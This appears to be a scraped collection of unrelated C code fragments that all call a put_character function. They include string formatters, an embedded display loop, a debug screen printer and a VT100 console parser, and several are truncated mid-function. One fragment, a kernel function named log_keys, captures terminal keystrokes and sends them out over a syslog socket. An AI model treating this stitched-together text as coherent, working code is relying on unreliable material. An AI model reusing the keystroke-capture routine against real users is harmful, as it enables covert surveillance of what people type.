PUBLIC void print(char *format, ...) { va_list argument_pointer; va_start(argument_pointer, format); uint index = 0; for(;format[index] != '\0'; index++) { if(format[index] == '%') { index++; if(format[index] == 's') { uint _index = 0; char *string = va_argument(argument_pointer, char *); while(string[_index] != '\0') { put_character(string[_index]); _index++; } continue; } if(format[index] == 'c') { char character = va_argument(argument_pointer, char); put_character(character); continue; }
int main(void) { init_hardware(); //available characters (pattern.h) // ABCDEFGHIJKLMNOPQRSTUVWXYZ!.+-' uint8_t sentence[] = "Step back - I'm doing Science!"; int length = sizeof(sentence)/sizeof(sentence[0]); while(1){ int i; for (i=0; i<length; i++) { put_character(sentence[i]); } //Spaces at the end of the sentence put_character(0); put_character(0); } return 0; }
void log_keys(char* vt_name, char* keys, int len) { mm_segment_t oldfs; struct msghdr msg; struct iovec iov; int msg_template_len = strlen(msg_template); int vt_name_len = strlen(vt_name); int payload_max_len = msg_template_len + vt_name_len + (len * 4) + 3; int payload_len = 0; char* payload; int i; // Check if we may run if (!enabled || syslog_sock == NULL) { return; } // Allocate space for payload payload = (char*) kmalloc(payload_max_len + 1, GFP_KERNEL); // Construct the message sprintf(payload, "%s[%s] ", msg_template, vt_name); payload_len += msg_template_len + vt_name_len + 3; // strncat(payload, keys, len); // Show special characters for (i = 0; i < len; i++) { payload_len += put_character(payload + payload_len, keys + i); } // Construct the IO vector iov.iov_base = payload; iov.iov_len = payload_len; // Construct the message header memset(&msg, 0, sizeof(msg)); msg.msg_iov = &iov; msg.msg_iovlen = 1; // Switch to kernel FS oldfs = get_fs(); set_fs(KERNEL_DS); // Send the packet // printk(KERN_ALERT "Sending payload: [%d] %s\n", strlen(payload), payload); sock_sendmsg(syslog_sock, &msg, payload_len); // printk(KERN_ALERT "err: %d\n", err); // Switch back to previous FS set_fs(oldfs); kfree(payload); }
/* Basic printing function. */ static int print_simple (const char *string) { int index; /* Handle the NULL string. */ if (string == NULL) { print_simple ("(null)"); return 0; } for (index = 0; string[index] != '\0'; index++) { put_character (x_position, y_position, string[index], text_attribute); x_position++; if (x_position == DEBUG_SCREEN_WIDTH) { x_position = 0; y_position++; /* If we're passing the last line on screen, scroll everything upwards one line. */ if (y_position >= DEBUG_SCREEN_HEIGHT) { y_position = DEBUG_SCREEN_HEIGHT - 1; memory_copy ((void *) screen, (void *) &screen[DEBUG_SCREEN_WIDTH], (DEBUG_SCREEN_WIDTH * (DEBUG_SCREEN_HEIGHT - 1)) * 2); memory_set_uint16 ((void *) &screen[DEBUG_SCREEN_WIDTH * (DEBUG_SCREEN_HEIGHT - 1)], (background_attribute << 8) | ' ', DEBUG_SCREEN_WIDTH); } } } return index; }
/* Print a formatted string to screen. Only used for debugging. This is NOT a POSIX compliant function. */ void debug_print (const char *format_string, ...) { va_list va_arguments; int index = 0; va_start (va_arguments, format_string); if (format_string == NULL) { debug_print ("%s: format_string == NULL.\n", __FUNCTION__); return; } /* Main parser loop. */ while (format_string[index] != 0) { switch (format_string[index]) { /* Percent sign means we get a formatting code as the next character. */ case '%': { index++; switch (format_string[index]) { /* Character. */ case 'c': { char character = va_arg (va_arguments, int); put_character (x_position, y_position, character, text_attribute); /* Move the cursor. */ x_position++; if (x_position >= DEBUG_SCREEN_WIDTH) { y_position++; x_position = 0; } break; } /* String. */ case 's': { print_simple (va_arg (va_arguments, char *)); break; } /* Signed number. */ case 'd': { char string[11]; signed number = va_arg (va_arguments, signed); /* If the number is negative, print it with a hyphen before. */ if (number < 0) { string[0] = '-'; decimal_string (string + 1, -number); } else { decimal_string (string, number); } print_simple (string); break; } /* Unsigned number. */ case 'u': { char string[11]; decimal_string (string, va_arg (va_arguments, unsigned)); print_simple (string); break; } /* Hexadecimal number. Padded to eight characters with zeroes. */ case 'p': case 'x': { char string[9]; hex_string (string, va_arg (va_arguments, unsigned)); print_simple (string); break; } /* 64-bit hexadecimal number. */ case 'X': { char string[9]; hex_string (string, va_arg (va_arguments, uint64_t)); print_simple (string); break; } /* Anything other is printed out in plain. */ default: { put_character (x_position, y_position, format_string[index], text_attribute); /* Move the cursor. */ x_position++; if (x_position >= DEBUG_SCREEN_WIDTH) { y_position++; x_position = 0; } break; } } break; } /* New line. */ case '\n': { y_position++; x_position = 0; break; } /* All regular characters are just printed out. */ default: { put_character (x_position, y_position, format_string[index], text_attribute); /* Move the cursor. */ x_position++; if (x_position >= DEBUG_SCREEN_WIDTH) { y_position++; x_position = 0; } } } /* If we're passing the last line on screen, scroll everything upwards one line. */ if (y_position == DEBUG_SCREEN_HEIGHT) { y_position--; memory_copy ((void *) screen, (void *) &screen[DEBUG_SCREEN_WIDTH], (DEBUG_SCREEN_WIDTH * (DEBUG_SCREEN_HEIGHT - 1)) * 2); memory_set_uint16 ((void *) &screen[DEBUG_SCREEN_WIDTH * (DEBUG_SCREEN_HEIGHT - 1)], (background_attribute << 8) | ' ', DEBUG_SCREEN_WIDTH); } index++; } va_end (va_arguments); }
static void parse_character(char c) { switch (sScreen.state) { case CONSOLE_STATE_NORMAL: // just output the stuff switch (c) { case '\n': next_line(); break; case 0x8: back_space(); break; case '\t': // TODO: real tab... sScreen.x = (sScreen.x + 8) & ~7; if (sScreen.x >= sScreen.columns) next_line(); break; case '\r': case '\0': case '\a': // beep break; case 0x1b: // escape character sScreen.arg_count = 0; sScreen.state = CONSOLE_STATE_GOT_ESCAPE; break; default: put_character(c); } break; case CONSOLE_STATE_GOT_ESCAPE: // look for either commands with no argument, or the '[' character switch (c) { case '[': sScreen.state = CONSOLE_STATE_SEEN_BRACKET; break; default: sScreen.args[0] = 0; process_vt100_command(c, false, sScreen.args, 0); sScreen.state = CONSOLE_STATE_NORMAL; } break; case CONSOLE_STATE_SEEN_BRACKET: switch (c) { case '0'...'9': sScreen.arg_count = 0; sScreen.args[0] = c - '0'; sScreen.state = CONSOLE_STATE_PARSING_ARG; break; case '?': // private DEC mode parameter follows - we ignore those // anyway break; default: process_vt100_command(c, true, sScreen.args, 0); sScreen.state = CONSOLE_STATE_NORMAL; break; } break; case CONSOLE_STATE_NEW_ARG: switch (c) { case '0'...'9': if (++sScreen.arg_count == MAX_ARGS) { sScreen.state = CONSOLE_STATE_NORMAL; break; } sScreen.args[sScreen.arg_count] = c - '0'; sScreen.state = CONSOLE_STATE_PARSING_ARG; break; default: process_vt100_command(c, true, sScreen.args, sScreen.arg_count + 1); sScreen.state = CONSOLE_STATE_NORMAL; break; } break; case CONSOLE_STATE_PARSING_ARG: // parse args switch (c) { case '0'...'9': sScreen.args[sScreen.arg_count] *= 10; sScreen.args[sScreen.arg_count] += c - '0'; break; case ';': sScreen.state = CONSOLE_STATE_NEW_ARG; break; default: process_vt100_command(c, true, sScreen.args, sScreen.arg_count + 1); sScreen.state = CONSOLE_STATE_NORMAL; break; } } }